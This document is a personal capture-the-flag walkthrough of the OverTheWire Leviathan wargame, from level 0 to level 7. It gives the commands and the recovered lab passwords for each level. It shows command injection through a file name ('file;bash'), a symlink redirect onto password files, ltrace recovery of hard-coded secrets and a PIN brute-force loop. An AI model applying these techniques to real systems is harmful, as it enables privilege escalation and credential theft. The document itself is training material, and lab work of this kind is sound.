POC of Lab OverTheWire

Laviathan

level 0:

ssh command: ssh leviathan0@leviathan.labs.overthewire.org -p 2223

password: laviathan0

level 0 to level 1:

step1= command: ls -la

we get a .backup file

visit the backup file

step2=command: cd .backup/

then list the files of backup

step3=command: ls

it shows bookmarks.html file which contains a html code

step4= to find a password

command: grep password bookmarks.html

it gives a next level password

<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is 3QJ3TgzHDq" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>

level 1 password is : 3QJ3TgzHDq

step5= Create directory for Leviathan notes

command: mkdir -p OTW/Leviathan

step6= Change into that directory

command: cd OTW/Leviathan

step7= Create a file for Level 0 password

command: touch 0.txt; echo "leviathan0" > 0.txt

touch 0.txt =>creates an empty file named 0.txt.

; => runs the next command after the first finishes.

echo "leviathan0" > 0.txt = writes the text leviathan0 into 0.txt

You basically saved the Level 0 password into 0.txt.

step8= Save Level 1 password

command: echo "3QJ3TgzHDq" > 1.txt

step9= Logged into Level 1

command: sshpass -p 3QJ3TgzHDq ssh leviathan1@leviathan.labs.overthewire.org -p 2223

step10= to check and set current user

command: whoami

level 1 to level 2:

step1= List files with details

command: ls -la

step2= Try running the program to get a password of next level

commands: ./check

It shows => password: stings check

```
             Wrong password, Good Bye ...
```

step3= Trace library calls

command: ltrace ./check

It shows => strcmp("nul", "sex") = -1

"sex" is the password to get level 2 password

step4= Read the next password

command: cat /etc/leviathan_pass/leviathan2

level 2 password is : NsN1HwFoyN

step5= Saved the password for Level 2

command: echo "NsN1HwFoyN" > 2.txt

step6= Logged into Level 1

command: sshpass -p NsN1HwFoyN ssh leviathan2@leviathan.labs.overthewire.org -p 2223

step7= Directory contents

command: ls

Shows only one file=> printfile

step8= set current user

command: whoami

Output=> leviathan2

level 2 to level 3:

step1= List files with details

command: ls -la

step2= Try running the program to get a password of next level

command: ./printfile

step3= Investigating with ltrace

command: ltrace ./printfile /etc/passswd

It shows=> access("/etc/passswd", 4) = -1

"You cant have that file..."

step4= Creating a temprory directory and file

command: mktemp -d

It showed=>/tmp/tmp.76tjRPrCKo

command: cd /tmp/tmp.76tjRPrCKo

create a file whose name bash

command: touch 'file;bash'

step5= Triggering the exploit

command: ./printfile /tmp/tmp.76tjRPrCKo/file\;bash

step6= to get a next level password

command: cat /etc/leviathan_pass/leviathan3

level 3 password is: f0n8h2iWLP

step7= Saved the password for Level 3

command: echo "f0n8h2iWLP" > 3.txt

step8= Logged into Level 3

command: sshpass -p f0n8h2iWLP ssh leviathan3@leviathan.labs.overthewire.org -p 2223

step9= set current user

command: whoami

Output=> leviathan3

level 3 to level 4:

step1= list the files

command: ls

it showed=> level3

step2= List files with details

command: ls -la

step3= run the level3 file

command: ./level3

it promted "enter the password"

typed anything

step4= Investigating with ltrace

command: ltrace ./level3

it shows=> strcmp("hello\n", "snlprintf\n") = -1

and we get the password to get the password of level 4

password: snlprintf

type command: ./level3

it asks about password

enter password : snlprintf

after this it shows=>

[You've got shell]!

command: ls

it shows=> level3

step5= to getting the next level password

command: cat /etc/leviathan_pass/leviathan4

level 4 password is : WG1egElCvO

step6= Saved the password for Level 4

command: echo "WG1egElCvO" > 3.txt

step8= Logged into Level 4

command: sshpass -p WG1egElCvO ssh leviathan4@leviathan.labs.overthewire.org -p 2223

step9= set current user

command: whoami

Output=> leviathan4

level 4 to level 5:

step1=List files with details

command: ls -la

step2= command: cd ./trash

step3= command: ls

output=> bin

step4= command: ls -la

step5= command: ./bin

It shows the binary number format password

convert this password binary into ASCII

use google binary to ascii converter

it gives a password: 0dyxT7F4QD

step6=Saved the password for Level 5

command: echo "0dyxT7F4QD" > 4.txt

step7= Logged into Level 5

command: sshpass -p 0dyxT7F4QD ssh leviathan5@leviathan.labs.overthewire.org -p 2223

step9= set current user

command: whoami

Output=> leviathan5

level 5 to level 6:

step1=Lists files with details

command: ls -la

it shows => leviathan5

step2=Creates an empty file

command: touch /tmp/files.log

step3=Creates (or overwrites) /tmp/file.log with the word hello

command: echo "hello" > /tmp/file.log

step4= command: ./leviathan5

it shows => hello

step5=Displays the content of /tmp/file.log to verify it contains hello

command: cat /tmp/file.log

step6=Now /tmp/file.log is a symlink to /etc/leviathan_pass/leviathan6

command: ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log

step7=The binary read /tmp/file.log

command: ./leviathan5

it shows the password: szo7HDB88w

step8=Saved the password for Level 6

command: echo "szo7HDB88w" > 6.txt

step7= Logged into Level 6

command: sshpass -p szo7HDB88w ssh leviathan6@leviathan.labs.overthewire.org -p 2223

step9= set current user

command: whoami

Output=> leviathan6

level 6 to level 7:

step1=list the files with details

command: ls -la

it shows =>leviathan6

step2=command: ./leviathan6

it gives the hint => password is 4 digit number

step3=run the for loop on bash

check google for syntax to run the loop

password is 4 digit number run the loop from 0000 to 9999

command: for i in {0000..9999} ;do echo $i;./leviathan6 $i;done;

after this we get list of 4 digit numbers

and finally we get shell($)

step4= set current user

command: whoami

it shows=> leviathan6

step5= to getting the next level password

command: cat /etc/leviathan_pass/leviathan7

level 7 password is: qEs5Io5yM8

step6= take a exit from shell

command: exit

step8=Saved the password for Level 7

command: echo "qEs5Io5yM8" > 7.txt

step7= Logged into Level 7

command: sshpass -p qEs5Io5yM8 ssh leviathan7@leviathan.labs.overthewire.org -p 2223

step8 =run ls command

command:ls

it shows "CONGRATULATIONS"

"HURREY ALL LEVELS ARE SOLVED!!"